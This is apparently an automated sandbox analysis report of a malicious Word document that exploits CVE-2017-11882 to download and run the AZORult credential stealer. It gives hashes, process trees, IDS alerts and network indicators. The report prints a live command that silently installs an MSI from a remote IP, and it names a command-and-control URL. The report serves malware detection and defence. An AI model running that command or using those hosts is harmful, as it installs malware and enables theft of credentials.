analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Bunker Requsition Nov 2018.doc

Full analysis: https://app.any.run/tasks/3625d91a-a59d-4396-aa32-d7af166d65a8
Verdict: Malicious activity
Threats:

AZORult can steal banking information, including passwords and credit card details, as well as cryptocurrency. This constantly updated information stealer malware should not be taken lightly, as it continues to be an active threat.

Analysis date: November 14, 2018, 10:24:30
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
loader
exe-to-msi
rat
azorult
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, LF line terminators
MD5:

C6F7F7A26D6D6B0A15902E1846ABAC8D

SHA1:

4AE01713F4596D67F1185C3F767C0F5B43089855

SHA256:

CC80949E976B515B4285A69866000442441B54A9EF56F75DB6DCF562277B0BA8

SSDEEP:

768:QmKfcZpEHUqUisx+NLBhoY52330zUUaxCbG8ibUBvlk4oYhCkt:Q4ZcUisxYtBmWHv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2700)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 1300)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3168)
    • Downloads executable files from IP

      • msiexec.exe (PID: 3168)
    • AZORULT was detected

      • MSIB1CA.tmp (PID: 1356)
    • Connects to CnC server

      • MSIB1CA.tmp (PID: 1356)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2700)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3168)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3168)
    • Creates files in the user directory

      • MSIB1CA.tmp (PID: 1356)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2004)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2004)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3168)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3168)
    • Application was crashed

      • EQNEDT32.EXE (PID: 2700)
    • Application was dropped or rewritten from another process

      • MSIB1CA.tmp (PID: 1356)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe #AZORULT msib1ca.tmp

Process information

PID
CMD
Path
Indicators
Parent process
2004"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Bunker Requsition Nov 2018.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2700"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
1300cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180.39/6.msi /quiet C:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2968msiexec.exe /i http://34.244.180.39/6.msi /quiet C:\Windows\system32\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3168C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1356"C:\Windows\Installer\MSIB1CA.tmp"C:\Windows\Installer\MSIB1CA.tmp
msiexec.exe
User:
admin
Company:
Tencent Inc.
Integrity Level:
MEDIUM
Description:
Chartered Landscapes Ae Gilder Versions 8d
Exit code:
0
Version:
4.5.5.9
Total events
1 607
Read events
898
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
9
Unknown types
6

Dropped files

PID
Process
Filename
Type
2004WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9F77.tmp.cvr
MD5:
SHA256:
3168msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF8792EE6A1B6609DD.TMP
MD5:
SHA256:
3168msiexec.exeC:\Config.Msi\5dafc5.rbs
MD5:
SHA256:
3168msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF46A80371F1B42785.TMP
MD5:
SHA256:
2004WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:256A3EF47ED32A3D3038855D49DF0319
SHA256:151B56C71BC28DD4D752808CE3A9352E96D9FA381320511F87B327A8208F5DD0
3168msiexec.exeC:\Windows\Installer\MSIAC39.tmpexecutable
MD5:1256D7CB23A836621FF65EBA394A8E08
SHA256:96959B79935BF934721DE19C49B45E8313478B98EC40DC9618B66FAB5C284B94
3168msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:54BCA3AAC9630ADDAA9D8299759BEF66
SHA256:5E0DB30D499B670114AB07FC05A821D59A831B0A1131B67B05BF01C080126CB0
3168msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
1356MSIB1CA.tmpC:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
3168msiexec.exeC:\Windows\Installer\5dafc4.ipibinary
MD5:59C29C9AC2F3FCBDFCEB19A3FDE5C878
SHA256:307DBC89218D5224686777E17D013A7CAF84CD1320404C5EC57F8E2AF1CD7B70
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1356
MSIB1CA.tmp
POST
200
103.63.2.245:80
http://slimiyt.us/madteri/index.php
HK
text
4 b
malicious
3168
msiexec.exe
GET
200
34.244.180.39:80
http://34.244.180.39/6.msi
IE
executable
708 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3168
msiexec.exe
34.244.180.39:80
Amazon.com, Inc.
IE
suspicious
1356
MSIB1CA.tmp
103.63.2.245:80
slimiyt.us
Guochao Group limited
HK
suspicious

DNS requests

Domain
IP
Reputation
slimiyt.us
  • 103.63.2.245
malicious

Threats

PID
Process
Class
Message
3168
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
3168
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
3168
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
3168
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1356
MSIB1CA.tmp
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 5
1356
MSIB1CA.tmp
A Network Trojan was detected
ET TROJAN AZORult Variant.4 Checkin M2
1356
MSIB1CA.tmp
A Network Trojan was detected
MALWARE [PTsecurity] AZORult client request
1356
MSIB1CA.tmp
A Network Trojan was detected
MALWARE [PTsecurity] AZORult HTTP Header
2 ETPRO signatures available at the full report
No debug info